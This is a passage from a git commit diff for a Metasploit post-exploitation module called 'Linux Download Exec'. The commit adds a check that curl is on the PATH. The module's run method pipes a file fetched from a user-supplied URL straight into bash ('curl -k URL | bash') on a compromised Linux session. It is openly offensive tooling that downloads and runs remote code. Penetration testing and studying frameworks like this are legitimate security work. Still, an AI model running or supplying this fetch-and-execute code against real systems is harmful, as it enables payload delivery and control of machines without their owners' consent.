check if curl is on the path

unstable
jvazquez-r7 2013-03-20 17:31:48 +01:00
parent 9948d1ec12
commit 54f22ed06c
1 changed files with 38 additions and 16 deletions

View File

@ -21,26 +21,48 @@ class Metasploit3 < Msf::Post
def initialize(info={}) def initialize(info={})
super( update_info( info, super( update_info( info,
'Name' => 'Linux Download Exec', 'Name' => 'Linux Download Exec',
'Description' => %q{ 'Description' => %q{
This module downloads and runs a file with bash. It uses curl and bash from the PATH. This module downloads and runs a file with bash. It uses curl and bash from the PATH.
}, },
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'Author' => 'Author' =>
[ [
'Joshua D. Abraham <jabra[at]praetorian.com>', 'Joshua D. Abraham <jabra[at]praetorian.com>',
], ],
'Platform' => [ 'linux' ], 'Platform' => [ 'linux' ],
'SessionTypes' => [ 'shell' ] 'SessionTypes' => [ 'shell' ]
)) ))
register_options(
[ register_options(
OptString.new('URL', [true, 'Full URL of file to download.']) [
], self.class) OptString.new('URL', [true, 'Full URL of file to download.'])
], self.class)
end end
def exists_exe?(exe)
path = expand_path("$PATH")
if path.nil? or path.empty?
return false
end
path.split(":").each{ |p|
return true if file_exist?(p + "/" + exe)
}
return false
end
def run def run
print_status("Checking if curl exists in the path...")
if exists_exe?("curl")
print_good("curl available, going ahead...")
else
print_warning("curl not available on the $PATH, aborting...")
return
end
if datastore['URL'].match(/https/) if datastore['URL'].match(/https/)
cmd_exec_vprint("`which curl` -k #{datastore['URL']} 2>/dev/null | `which bash` ") cmd_exec_vprint("`which curl` -k #{datastore['URL']} 2>/dev/null | `which bash` ")
else else